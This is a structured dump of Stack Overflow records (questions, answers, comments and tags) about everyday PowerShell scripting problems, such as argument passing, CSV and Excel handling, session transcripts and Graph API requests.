type: Comment
score: 0
has text: "*the same error is given back*", at the first step or the second step? The comments here are troubleshooting hints (not direct solutions). Other steps you might consider to narrow down the issue and which might lead to a better understanding of what happens and might lead to a possibly solution: `$Results = Get-Mailbox -ResultSize Unlimited | Get-MailboxStatistics | Select-Object DisplayName, LastLogonTime -first 3 | Export-Csv .\Temp.Csv`; `Import-Csv .\Temp.Csv | Sort LastLogonTime -Descending`.
comment on: http://stackoverflow.com/q/79334607

sdk
type: Tag
tag name: sdk
tags question: http://stackoverflow.com/q/79321769

scroll
type: Tag
tags question: http://stackoverflow.com/q/79394893
tag name: scroll

http://stackoverflow.com/q/79394893
type: Question
has answer: http://stackoverflow.com/a/79395054
tagged with: powershell
linked to: http://stackoverflow.com/q/73534710
answer count: 1
score: 0
tagged with: scroll
tagged with: toad
has body: I'm trying use the following commands to start Toad and then scroll down to the bottom of the output. The command starts Toad and executes the query but does not scroll down to the bottom of the output. $argList2 = "-NoExit -Command {Add-Type -AssemblyName System.Windows.Forms [System.Windows.Forms.SendKeys]::SendWait('^{END}') }" Start-Process Toad -ArgumentList "-min","-c","admin/xxxx@yyyyy","-f","C:\Users\Documents\test.sql","/EXEC", $argList2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/140026999
has title: Use powershell to scroll to bottom of Toad output from the command line

selenium-webdriver
tag name: selenium-webdriver
tags question: http://stackoverflow.com/q/79274677
tags question: http://stackoverflow.com/q/79252900
type: Tag

http://stackoverflow.com/comment/139887354
has text: Yah so thats where `switch ($MyArguments) {` or `foreach ($myArgument in $MyArguments) {` come into place... @farag
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79324586
type: AnswerComment

http://stackoverflow.com/comment/139972735
score: 0
has text: Wow... thank you again for the breadcrumb that let me solve this issue. The corrected string was: PS C:\WINDOWS\system32> $activities = Search-UnifiedAuditLog -ResultSize 5000 -StartDate $startDate -EndDate (Get-Date) -RecordType 20
comment on: http://stackoverflow.com/q/79360943
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139957790
score: 0
has text: @jdweng isn't it supposed to detect if it is less than 7 so that it can relaunch into 7? that is the whole point of the function
comment on: http://stackoverflow.com/q/79362806
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139886184
type: Comment
score: 0
has text: And about default scope exposing on the app it will be added while adding scope to the app in expose an api blade
type: AnswerComment
comment on: http://stackoverflow.com/a/79326188

http://stackoverflow.com/comment/139810755
score: 0
comment on: http://stackoverflow.com/q/79264325
type: QuestionComment
type: Comment
has text: GitHub issue: https://github.com/PowerShell/vscode-powershell/issues/5116

http://stackoverflow.com/comment/139802698
type: Comment
has text: Good analysis of the original problem, but none of the casts are needed, as this example demonstrates: `Invoke-Command { param($apppools) foreach ($ap in $apppools) { "[$ap]" } } -ArgumentList (, ('foo', 'bar'))`
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79279922

http://stackoverflow.com/comment/139739987
comment on: http://stackoverflow.com/q/79245097
has text: @SantiagoSquarzon Launching another instance of `pwsh.exe` is just so that the repro is portable. It could just as easily have been `notepad.exe` which is the example often used for processes without a console. I am looking for a solution in general, but I'll take whatever I can get.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139852222
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79307730
has text: @mklement0 when I use encoding default in win 11 the cyrillic symbols are becoming ?????? symbols in notepad, but the program reads them correctly, unlike in ascii. When I use encoding utf8 the cyrillic symbols are displayed as a proper cyrillic but the program can't read them. I read that encoding default in win 11 is utf 8 nobom and encoding utf8 is utf8bom. Am I missing something again? I'm not a really smart person. I probably need to check the formating of encoding -default in my win11 maybe thats not a utf8 nobom. I just need the formating in which my program will read cyrillic properly.

http://stackoverflow.com/comment/140026072
score: 0
has text: I can automate a 1 line using `$PSCommandPath` but it can not be in an external function. Maybe there is no way to use an external function.
comment on: http://stackoverflow.com/q/79400251
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/140030064
type: QuestionComment
has text: @SantiagoSquarzon here is a sample of the GPO XML, here is the section of the GPO XML i am trying to extract the data from and the info i need to pull is form the Domain/OU/OU/OU but only want the Domain/OU/OU/OU from that line T0-Devices Domain/OU/OU/OU true false </GPO>
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79401312

http://stackoverflow.com/a/79265039
answers question: http://stackoverflow.com/q/79264325
has comment: http://stackoverflow.com/comment/139778314
has body: Your screenshot suggests that you manually resized your terminal view to fill the entire client area of Visual Studio Code. To undo that: Hover your mouse pointer over the top edge of the view until the mouse pointer turns into a short arrow pointing straight down and the edge is highlighted in blue (see screenshot). Then click and drag the blue line downward, as far as desired.
type: Answer
score: 0

http://stackoverflow.com/comment/140009541
score: 0
comment on: http://stackoverflow.com/q/79392142
type: QuestionComment
type: Comment
has text: CTRL+C sends a stop pipeline signal so the script is terminated. In addition, `write-host """"$Choice""""` showing `" -1"` happens because you so choose to add random quotes and the argument is interpreted as 2 arguments, you can clearly see it when you do `& { $args } """"-1""""`

http://stackoverflow.com/comment/139935398
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79352193
type: QuestionComment
has text: Does this help : https://github.com/Azure/azure-powershell/issues/25005

http://stackoverflow.com/comment/139870698
score: 0
comment on: http://stackoverflow.com/q/79318047
has text: Note that there's a subtle, but important difference between these two very similar questions: only the linked one has a ` ` declaration with the same name as the document element, `Configure`. As a result, `$xmlDoc.Configure` returns an _array_ and `$xmlDoc.Configure.Set` does _not_ work as intended, but a simple workaround is to use `$xmlDoc.DocumentElement.Set` instead; see [this answer](https://stackoverflow.com/a/79316685/45375) to the linked question for details.
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79392354
has comment: http://stackoverflow.com/comment/140010136
tagged with: powershell
has comment: http://stackoverflow.com/comment/140010039
type: UnansweredQuestion
score: 1
favorite count: 0
upvote count: 1
has title: Log full powershell session to file
has comment: http://stackoverflow.com/comment/140017060
has body: Is it possible to automatically capture the contents of a powershell session, exactly as they appear in the terminal, to a file? Eg, including the prompt, any commands and their outputs, exactly as they appear in the console or as close as possible. I have tried: Using the Start-Transcript cmdlet. This almost works but unfortunately includes anything outputed to StdError in the transcript even if it suppressed in the original session. This quickly renders the transcript nearly unreadable. Additionally the transcript does not include text written via Write-Host and so is missing a lot of the output I want to capture. File redirection using &gt; or &gt;&gt; likewise doesn't work as it requires me to add this to the end of every command, I can no longer see the output in the terminal, and it doesn't capture either the prompt or the command that was run. What does work is copying the entire session via $host.UI.RawUI.GetBufferContents and placing this into a text file. However this only works up to the point where the text buffer ends and has to be run manually at the end of a session. For something so ostensibly simple, why is it so hard? How can I automatically generate a text file which contains my powershell session exactly (or as closely as possible) to how it is displayed in the terminal?
type: Question
tagged with: transcription
has comment: http://stackoverflow.com/comment/140010770
tagged with: interactive-session
answer count: 0
downvote count: 0
linked to: http://stackoverflow.com/q/41324882

http://stackoverflow.com/comment/139747273
type: Comment
comment on: http://stackoverflow.com/a/79249620
score: 1
has text: _”… if the process is invoking a .NET method that doesn't allow interrupts (i.e.: Thread.Sleep(-1)) then this fails.”_ I expect this is a natural consequence of the .Net cancellation model which is, by design, cooperative.
type: AnswerComment

http://stackoverflow.com/a/79406753
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79406020
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/140038189
has body: Thanks for the extra info in your comment. If you want a filtered result where only services are listed that have keyword 'SUBSET' as one of the values in their 'group' item array, you could do like below: $filtered = @{} # a new Hashtable object to store the results foreach ($server in $test.Keys) { # loop over the items in the original Hash foreach ($service in $test.$server.Keys) { if ($test.$server.$service.group -contains 'SUBSET') { $filtered.Add($server,@{$service = $test.$server.$service}) } } } Now, $filtered contains only Hashtables of servers and their services containing 'SUBSET' in the group item: Name Value ---- ----- server1 {service1} server2 {service3}
answers question: http://stackoverflow.com/q/79406020

http://stackoverflow.com/comment/139836638
has text: Or [CLI console output uses UTF-8](https://learn.microsoft.com/en-us/dotnet/core/compatibility/sdk/8.0/console-encoding) ?
comment on: http://stackoverflow.com/q/79296931
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/a/79283454
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139812098
downvote count: 0
has body: $excelPackage = Open-ExcelPackage -Path "$path\project_hours.xlsx" $employeeNumber = [int]$excelPackage.Workbook.Worksheets[1].Cells[5, 1].Value $month = $excelPackage.Workbook.Worksheets[1].Cells[2, 3].Value $year = $excelPackage.Workbook.Worksheets[1].Cells[2, 5].Value $data = Import-Excel -ExcelPackage $excelPackage -StartRow 7 $data | ForEach-Object { $projectName = $_.'PROJECT NAME' $projectNumber = $_.'PROJECT NUMBER' # loop through the different columns which will be properties on the $data objects # and filter using Where-Object only for those that are numeric (-as [int]) $_.psobject.properties | Where-Object { $_.Name -as [int] } | ForEach-Object { # inside the loop $_ will be a single property (cell) of a row ($data object) # $_.Name will be the column/property name (day) # $_.Value will be the cell value (hours) if ($_.Value) { [pscustomobject]@{ EmployeeNumber = $employeeNumber ProjectNumber = $projectNumber EntryDate = [datetime]::new($year, $month, $_.Name).ToString('M/d/yy') Hours = $_.Value } } } } Close-ExcelPackage $excelPackage -NoSave Output should end up looking something like this EmployeeNumber ProjectNumber EntryDate Hours -------------- ------------- --------- ----- 1234 xx1 11.4.24 2.00 1234 xx1 11.7.24 1.00 1234 xx1 11.11.24 1.00 1234 xx1 11.13.24 1.00 1234 xx1 11.14.24 1.00 1234 xx2 11.4.24 1.00 1234 xx2 11.5.24 2.00 1234 xx2 11.6.24 1.00 1234 xx2 11.7.24 2.00 1234 xx2 11.11.24 1.00 1234 xx2 11.12.24 2.00 1234 xx2 11.13.24 1.00 1234 xx2 11.14.24 1.00 1234 xx3 11.5.24 1.00 1234 xx3 11.6.24 1.00 1234 xx3 11.11.24 1.00 1234 xx3 11.14.24 1.00
type: Answer
has comment: http://stackoverflow.com/comment/139811955
answers question: http://stackoverflow.com/q/79283348
has comment: http://stackoverflow.com/comment/139810541
upvote count: 1
has comment: http://stackoverflow.com/comment/139810667
accepted answer of: http://stackoverflow.com/q/79283348
score: 1

http://stackoverflow.com/q/79290848
score: 0
tagged with: windows-server
answer count: 2
has comment: http://stackoverflow.com/comment/139821635
has comment: http://stackoverflow.com/comment/139821199
possible better answer: http://stackoverflow.com/a/79295171
type: Question
tagged with: powerbi
has answer: http://stackoverflow.com/a/79295171
has comment: http://stackoverflow.com/comment/139822433
tagged with: event-viewer
tagged with: powershell
has title: Windows server 22 Powershell Get-EventLog Not Showing "Account Name:" in CSV Export
has body: In the event viewer the field name that I am looking for in the CSV export is "Account Name:" however, this field does not display in the export but does display if the "Result in PowerShell" script is run. Result in PowerShell: Get-EventLog -LogName Security| Select-Object -Property * | Select -first 10 CSV Export Script: Get-EventLog -LogName Security | Select-Object -Property * | Export-Csv -Path C:\Export.csv What I would like to achieve is pulling a report of user activity on the file share.
has answer: http://stackoverflow.com/a/79294790
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/79294790

http://stackoverflow.com/comment/139876989
score: 0
type: QuestionComment
has text: An incidental aside: Note that you don't need `$(...)` in PowerShell in order to capture command output in a variable; e.g. `$userEnv = reg.exe query HKEY_CURRENT_USER\Environment` will do. Similarly, `(...)` rather than `$(...)` is enough to pass command output as an argument or to use it in an expression; e.g. `Split-Path -Leaf (whoami.exe)`, `(whoami.exe) -split '\\'`
type: Comment
comment on: http://stackoverflow.com/q/79320969

http://stackoverflow.com/comment/139845083
has text: Have you tried using a debugger to verify whether `a` is receiving the correct utf-8 bytes?
score: 0
comment on: http://stackoverflow.com/q/79303993
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139991925
has text: See following : https://www.reddit.com/r/Intune/comments/10fyxyz/what_are_the_best_methods_for_auto_setup_of/
score: 0
comment on: http://stackoverflow.com/q/79382069
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139798666
type: Comment
comment on: http://stackoverflow.com/a/79278369
score: 0
type: AnswerComment
has text: Ahhh got it. IIS only returns a value for that if one is configured... which is why I got nothing. Have set one now and determined what's needed. See latest update to my answer above.

http://stackoverflow.com/q/79255391
type: Question
has title: Java ProcessBuilder execute PowerShell Script as Admin
has answer: http://stackoverflow.com/a/79271180
tagged with: powershell
answer count: 1
has body: I have a Java application which is started with non admin rights. From my Java application I want to start different PowerShell scripts. The PowerShell scrips have input and output parameter. Inside the scripts PSRemoting commands are executed in order to control other Windows PCs. I need to start the PowerShell scripts from Java as admin. In my Java application the admin user and admin password is known. Starting the PowerShell script, passing the arguments and returning the return values, does work so far. But I have not managed to start the script as admin. List<String> cmd = new ArrayList<>(); cmd.add("powershell.exe"); cmd.add("-ExecutionPolicy"); cmd.add("Bypass"); cmd.add("-File"); cmd.add(tempScriptPath.toString()); // Add the arguments for the PowerShell file Iterator<Map.Entry<String, JsonNode>> fields = jsonArgs.fields(); while (fields.hasNext()) { Map.Entry<String, JsonNode> field = fields.next(); String key = field.getKey(); String value = field.getValue().asText(); // Get value as text // Add the key and value to the list cmd.add("-" + key); cmd.add(value); } ProcessBuilder pb = new ProcessBuilder(cmd); pb.redirectErrorStream(true); // Combine stdout and stderr // Start the process Process process = pb.start(); This is a dummy PowerShell script: param ( [string]$ip ) Write-Output "PS INFO: Check if ps remoting is active" $hostname = Invoke-Command -ComputerName 127.0.0.1 -ScriptBlock { hostname } Write-Output "PS INFO: Hostname is $hostname" $result = @{ PsErrorCode = 0 Hostname = $hostname } $result | ConvertTo-Json -Depth 10 I guess I have to add the runAs option and the user and password to the cmd but until now I have not managed it. Maybe someone does know how to start the script as admin. Update: I forgot to mention that the pc has to users. A standard user and an admin user. The java application is started by the standard user. For executing the power shell commands I need elevated privileges which are only available by the admin user.
tagged with: powershell-remoting
has comment: http://stackoverflow.com/comment/139760685
score: 0
has comment: http://stackoverflow.com/comment/139756941
type: UnansweredQuestion
tagged with: java

http://stackoverflow.com/comment/139921188
score: 0
comment on: http://stackoverflow.com/q/79345015
type: QuestionComment
has text: Yes that's what I mean, but if I do MySQL actions in all my fan out activity's and one fan out activity fails I have inconsistent database entries. So what is a way to update a database with the fan out/fan in pattern? The only way I can figure out is to use a powershell module to do database actions (like SimpleSQL) and then use this in the orchestrationTrigger script because there the data is consolidated from all the fan out activities.
type: Comment

http://stackoverflow.com/comment/139892878
comment on: http://stackoverflow.com/q/79320969
type: Comment
score: 0
has text: Let us [continue this discussion in chat](https://chat.stackoverflow.com/rooms/259026/discussion-between-jtim-and-rukmini).
type: QuestionComment

http://stackoverflow.com/comment/139952372
has text: "I am trying to read a secured string from a file made by another user" sounds like something you should include in the question :)
type: AnswerComment
score: 5
comment on: http://stackoverflow.com/a/79361771
type: Comment

http://stackoverflow.com/comment/139915398
type: AnswerComment
comment on: http://stackoverflow.com/a/79341652
type: Comment
has text: The `cmd /c` solution is the simplest. Note that a workaround is no longer necessary in [_PowerShell (Core) 7_](https://github.com/PowerShell/PowerShell/blob/master/README.md) _v7.4+_ (see the linked duplicate). I don't think the .NET API solution can work, given that you're not providing stdin input the second process; aside from that, `$firstProcess = & ...` already performs the unwanted to-text conversion
score: 0

http://stackoverflow.com/comment/139956446
has text: @Theo Thanks for your feedback, what is described in the post you linked doesn't really seem to apply. I have set the ReadOnlyField property to true and so I can't edit it in the grid view either. However, I can edit it in the EditForm. The post describes that in both cases the field should not be editable. I have added two more pictures of the field to the post.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79361998
score: 0

http://stackoverflow.com/comment/140008495
score: 1
type: AnswerComment
type: Comment
has text: Decided to not spend any more time on figuring this out and just use predefined variables instead of an object via variables.
comment on: http://stackoverflow.com/a/79343934

http://stackoverflow.com/comment/139800018
comment on: http://stackoverflow.com/a/79270136
score: 0
has text: `$MailItems.Item(1).Display()` works normally.
type: AnswerComment
type: Comment

http://stackoverflow.com/a/79397654
score: 1
has comment: http://stackoverflow.com/comment/140020836
upvote count: 1
has comment: http://stackoverflow.com/comment/140020831
has comment: http://stackoverflow.com/comment/140023335
accepted answer of: http://stackoverflow.com/q/79397285
downvote count: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/140024434
answers question: http://stackoverflow.com/q/79397285
has body: An issue as stated in comments is that "*.zip, *.log" is a single string not an array, ideally calling your script using an array: "*.zip", "*.log" should solve the problem, but it isn't the case. Because you're calling your script from the PowerShell CLI, passing-in an array as argument gets tricky, to troubleshoot the issue you could change your script to: param([string] $Folder, [string[]] $Exceptions) $PSBoundParameters From here, if you call the script from PowerShell itself using an array for the second argument: powershell -nop -f .\deletefiles_custom.ps1 "some\folder\" "*.zip", "*.log" You'd get the following output: Key Value --- ----- Folder some\folder\ Exceptions {*.zip} So as you can see, the second argument for -Exceptions was lost. Solution to this problem is to decorate the -Exceptions parameter with ValueFromRemainingArguments: param([string] $Folder, [Parameter(ValueFromRemainingArguments)] [string[]] $Exceptions) $PSBoundParameters Now if we try the same call again we should get the expected output: Key Value --- ----- Folder some\folder\ Exceptions {*.zip, *.log} So far, the issue if calling the script thru the PowerShell CLI from PowerShell itself should be fixed, however there is yet another problem if calling the script from CMD, if you try the same call from CMD you would see the following output: Key Value --- ----- Folder some\folder" *.zip, *.log And this happens because the last \ in the -Folder argument requires escaping, meaning: powershell -nop -f .\deletefiles_custom.ps1 "some\folder\\" "*.zip", "*.log" Otherwise that backslash escapes the " making it a single argument. So, in summary, if you're calling the script from CMD or Task Scheduler, ensure you're either escaping that last \ or just remove it. Then current code you already have adding the ValueFromRemainingArguments to -Exceptions should fix the issue.
type: Answer

http://stackoverflow.com/comment/139833156
type: Comment
score: 0
has text: `invoke-command $servers script.ps1` Try not to do +=.
comment on: http://stackoverflow.com/q/79296160
type: QuestionComment

http://stackoverflow.com/comment/139809566
type: AnswerComment
comment on: http://stackoverflow.com/a/79284494
type: Comment
has text: Thanks. @Mathias R. Jessen. Seems its works better now. Before I had in my module manifest: FunctionsToExport = '*'. So its possible to have all functions exported with similar command or I have to declare it one by one in module manifest?
score: 0

http://stackoverflow.com/q/79262609
answer count: 2
favorite count: 0
has body: I am learning about Extended Type System from MSDN, I've learned the fact that all objects in pwsh has intrinsic members like psobject, pstypenames etc. Does this implies all object in pwsh is [psobject]? If it does, why does -is [psobject] returns false for some object like a native number literal 123. And I noticed that the object that's not a [psobject] will be converted as [psobject] after being piped into a cmdlet. So there's yet another question, when will pwsh implicitly convert an object into [psobject]? And when do we need to explicitly convert to it? 1 -is [psobject] # False 1 | % { $_ -is [psobject] } # True After finishing writing this question, I started thinking that those views like pstypenames and other intrinsic members are not part of the [psobject]? I am not sure just a guess. So are they more primitive things in pwsh that cannot be described by a type? 1 -is [psobject] # False 1 | gm -MemberType MemberSet, CodeProperty -Force # object views returned
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/139769879
has title: When will pwsh wrap an object as psobject?
downvote count: 0
has comment: http://stackoverflow.com/comment/139772735
tagged with: powershell-core
score: 2
has answer: http://stackoverflow.com/a/79262827
tagged with: powershell
has answer: http://stackoverflow.com/a/79266583
type: UnansweredQuestion

http://stackoverflow.com/comment/139850708
comment on: http://stackoverflow.com/q/79307364
type: QuestionComment
type: Comment
has text: Is `WIN-cname` the name of your local computer?
score: 0

http://stackoverflow.com/comment/139744663
score: 0
has text: Do you know beforehand the folders containing these `.tiff` files ? Like, you want to specify each folder in a loop or you want to dynamically discover them ?
comment on: http://stackoverflow.com/q/79248512
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139902818
score: 0
comment on: http://stackoverflow.com/a/79335176
has text: created a fresh new one
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/140058129
has text: No clue about getting no output, but if you're looking for environment variables, why not use _getenv()_? And _exec()_ returns the exit status via it's third parameter, please provide it for the non-working command. https://php.net/exec
comment on: http://stackoverflow.com/q/79416673
type: QuestionComment
score: 2
type: Comment

http://stackoverflow.com/comment/139878919
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79278526
has text: Have you tried the below approach. @Vortex

http://stackoverflow.com/comment/139935462
has text: I'm the domain admin. It's a single domain. It is explicitly a timeout based on the error message and the logs.
score: 0
comment on: http://stackoverflow.com/q/79350561
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79249642
type: Question
has body: This powershell script below is not deleting files from the folders # Set the folder paths $folders = @( "C:\*_TEST\123*\Archive*\", "C:\*_TEST\456*\ACK*\Archive*\", "C:\*_TEST\789\Ack\Archive_Acks\" ) # Loop through each folder foreach ($folder in $folders) { # Get all files in the folder matching the pattern Get-ChildItem -Path $folder -File -Recurse | Where-Object { # Check if the file is older than 15 days $_.LastWriteTime -lt (Get-Date).AddDays(-15) } | ForEach-Object { # Delete the file Remove-Item $_.FullName -Force Write-Host "Deleted: $($_.FullName)" } } Write-Host "Cleanup complete." expecting this script to look in folders matching $folders but does appear to do so Does $folder not like using *
downvote count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139747125
answer count: 0
has title: Powershell Script to delete files older than 15 days in folders
has comment: http://stackoverflow.com/comment/139746984
type: UnansweredQuestion
score: 1
upvote count: 1
favorite count: 0

http://stackoverflow.com/a/79274040
type: Answer
score: 0
has body: This looks like the default behavior in PowerShell, where the a returned variable isn't the same datatype outside the method. I resolved this by using a global variable. $global:asset_id = 0 function one(){ $response = Invoke-WebRequest -Uri $finalizeUrl -Method 'POST' -Body $createResponse.Content -Headers @{"Authorization" = $authToken; "Content-Type" = "application/json" } $responseObject = $response.Content | ConvertFrom-Json $global:asset_id = $responseObject.asset_id } one Write-Host $global:asset_id Write-Host "Type of asset_id outside one: " ($global:asset_id.GetType().Name)
has comment: http://stackoverflow.com/comment/139791804
answers question: http://stackoverflow.com/q/79271819

http://stackoverflow.com/comment/139753877
comment on: http://stackoverflow.com/q/79253460
has text: Try [Superuser answer](https://superuser.com/a/1692734) about how to use `-NoDriveLetter` and `New-PSDrive`.
score: 4
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79394411
has comment: http://stackoverflow.com/comment/140017874
has comment: http://stackoverflow.com/comment/140015319
answer count: 1
has body: I am trying to accept input in a text box in a form, but I want it to be numeric, so instead of forcing the user to input a number, I just want to validate it and produce an error if it is not numeric and not within a certain range. Having said that, I am also trying to strip all non-numeric characters from the input, but the value of $ans1 is always zero, as I have declared it at the top of my code. This is the code I have for when the user clicks outside the first text box. Apologies for the shortened variable names, just habit, as I'm from an age when space was an issue. $tb1 is the textbox name. Basically the user enters something in the relevant field. When the user clicks on another field in the form, it should replace the input with only the numbers, stripping everything else out. Then convert what is left into a decimal integer. Then test to see if it is between 0 &amp; 365. If not display the error dialog box (form). It doesn't seen to even get into the if statement, what ever value I put in the textbox. # *** Validate input on exit from textbox *** $tb1.add_leave($tb1validation_focuslost) $tb1validation_focuslost = { $tb1 -replace '[\W_]+' [int]$ans1 = [convert]::ToInt32($tb1, 10) if ($ans1 -gt 10){ $f2.controls.AddRange(@($q2,$ok2)) $f1.topmost = $False $f2.Topmost = $True [void]$f2.ShowDialog() } } I am using an if statement to test the input and produce an error dialog box if it is outside the range. The main form is $f1 and the error form is $f2. I've been looking at this for hours, so any help is much appreciated. Thank you.
has comment: http://stackoverflow.com/comment/140024527
tagged with: powershell
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/140017844
has answer: http://stackoverflow.com/a/79396850
score: 0
type: Question
has title: cannot convert form text box input to a number - PowerShell
has comment: http://stackoverflow.com/comment/140014176

http://stackoverflow.com/a/79397698
answers question: http://stackoverflow.com/q/79397536
type: Answer
score: 2
has body: It's unclear why you're using a for loop instead of a foreach loop, but using splatting should work for your use case, it does require an if condition tho: for ($i = 0; $i -lt $Installs.count; $i++) { $Arguments = @{} if ($Installs[$i].path) { $Arguments['ArgumentList'] = $Installs[$i].path } Start-Process -FilePath $Path @Arguments -Wait } This would be another option too, splatting all arguments and adding the optional one to the splatting hash: for ($i = 0; $i -lt $Installs.count; $i++) { $startProcessSplat = @{ FilePath = $Path Wait = $true } if ($Installs[$i].path) { $startProcessSplat['ArgumentList'] = $Installs[$i].path } Start-Process @startProcessSplat }
upvote count: 2
downvote count: 0

http://stackoverflow.com/q/79301590
has title: The remote server returned an error: (400) Forbidden in PowerShell when running a script
score: 0
has body: I am trying to get a report of all Teams chats in my school between teachers and students. This is the script I am running in PowerShell. # Define your tenant ID, client ID, and client secret $tenantId = "tenantID" # Replace with your actual tenant ID $clientId = "clientId" # Replace with your actual client ID $clientSecret = "clientSecret" # Replace with your actual client secret # Get the access token $body = @{ grant_type = "client_credentials" scope = "https://graph.microsoft.com/.default" client_id = $clientId client_secret = $clientSecret } $tokenResponse = Invoke-RestMethod -Uri "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token" -Method Post -ContentType "application/x-www-form-urlencoded" -Body $body $token = $tokenResponse.access_token # Set the headers for the API request $headers = @{ "Authorization" = "Bearer $token" "Content-Type" = "application/json" } # Define the date range for the messages $startDate = "2023-09-01T00:00:00Z" $endDate = (Get-Date).ToString("yyyy-MM-ddTHH:mm:ssZ") # Get the list of chats $chatsUrl = "https://graph.microsoft.com/v1.0/me/chats" $chatsResponse = Invoke-RestMethod -Uri $chatsUrl -Headers $headers -Method Get $chats = $chatsResponse.value $allMessages = @() foreach ($chat in $chats) { $chatId = $chat.id $messagesUrl = "https://graph.microsoft.com/v1.0/chats/$chatId/messages?\$filter=createdDateTime ge $startDate and createdDateTime le $endDate" $messagesResponse = Invoke-RestMethod -Uri $messagesUrl -Headers $headers -Method Get $messages = $messagesResponse.value $allMessages += $messages } # Filter messages between teachers and students $filteredMessages = $allMessages | Where-Object { $_.from.user.displayName -match "teacher" -and $_.to.user.displayName -match "student" } $filteredMessages | Export-Csv -Path "$env:USERPROFILE\Documents\TeamsMessagesReport.csv" -NoTypeInformation I am getting the following error. Invoke-RestMethod : The remote server returned an error: (400) Bad Request. At line:29 char:18 +…
type: UnansweredQuestion
tagged with: microsoft-graph-teams
has comment: http://stackoverflow.com/comment/139879055
tagged with: 400-bad-request
type: Question
answer count: 0
tagged with: microsoft-teams
tagged with: powershell

http://stackoverflow.com/comment/139821199
score: 0
comment on: http://stackoverflow.com/q/79290848
has text: Please [edit] your question to provide a [mcve].
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79256211
has comment: http://stackoverflow.com/comment/139760000
type: Answer
answers question: http://stackoverflow.com/q/79254020
has body: Can you verify that the account that runs the process on the server has access to the Microsoft.Online.SharePoint.PowerShell module? Login to the system as the user and run Get-Module Microsoft.Online.SharePoint.PowerShell -ListAvailable If that doesn't return anything, add the module's installation folder to the user's PSModulePath environment variable.
score: 0

http://stackoverflow.com/q/79410268
linked to: http://stackoverflow.com/q/79388784
tagged with: windows
type: Question
has title: After powershell update, conda elicits error as if command were empty
answer count: 0
duplicate of: http://stackoverflow.com/q/79388784
has body: After my system automatically updated Powershell to 7.5.0, my conda has not been working anymore. It doesn't correctly initialize when the terminal is started, nor when I run conda init powershell. I already checked the path: conda root folder, and Script and condabin folders are there. The exact error is illustrated below Can I fix this without needing to reinstall Conda? How? Thank you.
score: 0
tagged with: powershell
type: UnansweredQuestion
tagged with: python
tagged with: conda

http://stackoverflow.com/comment/139866665
score: 1
comment on: http://stackoverflow.com/q/79316429
type: QuestionComment
has text: @MarcGravell: PowerShell doesn't support `<`
type: Comment

http://stackoverflow.com/comment/140025005
type: Comment
score: 0
has text: correct. for me its always powershell_ise.
type: AnswerComment
comment on: http://stackoverflow.com/a/79375356

http://stackoverflow.com/comment/139992342
score: 0
has text: @Olaf apart from not being sure if Reddit is good source material I do get an error on my Android phone.
comment on: http://stackoverflow.com/q/79382069
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79389666
score: 1
tagged with: neo4j
has comment: http://stackoverflow.com/comment/140004917
has answer: http://stackoverflow.com/a/79390393
upvote count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/79390393
type: Question
has title: Use wildcard characters with Neo4j admin
downvote count: 0
has body: Does neo4j-admin support use of wildcard characters in filenames? The following works just fine: .\bin\neo4j-admin.ps1 database import full --overwrite-destination neo4j --nodes="import\node1.txt" --nodes="import\node2.txt" --relationships="import/edge1.txt" --relationships="import/edge2.txt" --delimiter "\t" But the following does not: .\bin\neo4j-admin.ps1 database import full --overwrite-destination neo4j --nodes="import\node1.txt" --nodes="import\node2.txt" --relationships="import/edge*.txt" --delimiter "\t" java.lang.IllegalArgumentException: File './import/edge*.txt' doesn't exist I tried all combinations of single-quote instead of double-quote, without quotes, and forward slash instead of backward. All unsuccessful. .\bin\neo4j-admin.ps1 --version 5.26.0 Update 1 Following the suggestion in this answer, I get weird behavior when referencing multiple files using regex. Consider these files: > cat .\import\node1.txt PersonID:ID(Person) Name:string :LABEL a1 name1 N a2 name2 N > cat .\import\node2.txt PersonID:ID(Person) Name:string :LABEL a3 name3 N a4 name4 N > cat .\import\edge1.txt :START_ID(Person) :END_ID(Person) :TYPE a1 a3 t a1 a2 t > cat .\import\edge2.txt :START_ID(Person) :END_ID(Person) :TYPE a3 a4 t a1 a1 t When referencing each file separately as the following, the import works with no issue: .\bin\neo4j-admin.ps1 database import full --overwrite-destination neo4j --nodes="import\node1.txt" --nodes="import\node2.txt" --relationships=import\edge1.txt --relationships=import\edge2.txt --delimiter "\t" --array-delimiter ";" --verbose But it fails when you specify edges via regex as in the following. .\bin\neo4j-admin.ps1 database import full --overwrite-destination neo4j --nodes="import\node1.txt" --nodes="import\node2.txt" --relationships='./import/edge.*txt' --delimiter "\t" --array-delimiter ";" --verbose Caused by: org.neo4j.importer.FileImporter$CsvImportException: java.io.IOException: java.util.concurrent.ExecutionException: org.neo4j.internal.ba…
tagged with: powershell
answer count: 1
type: AnsweredQuestion

http://stackoverflow.com/comment/139911032
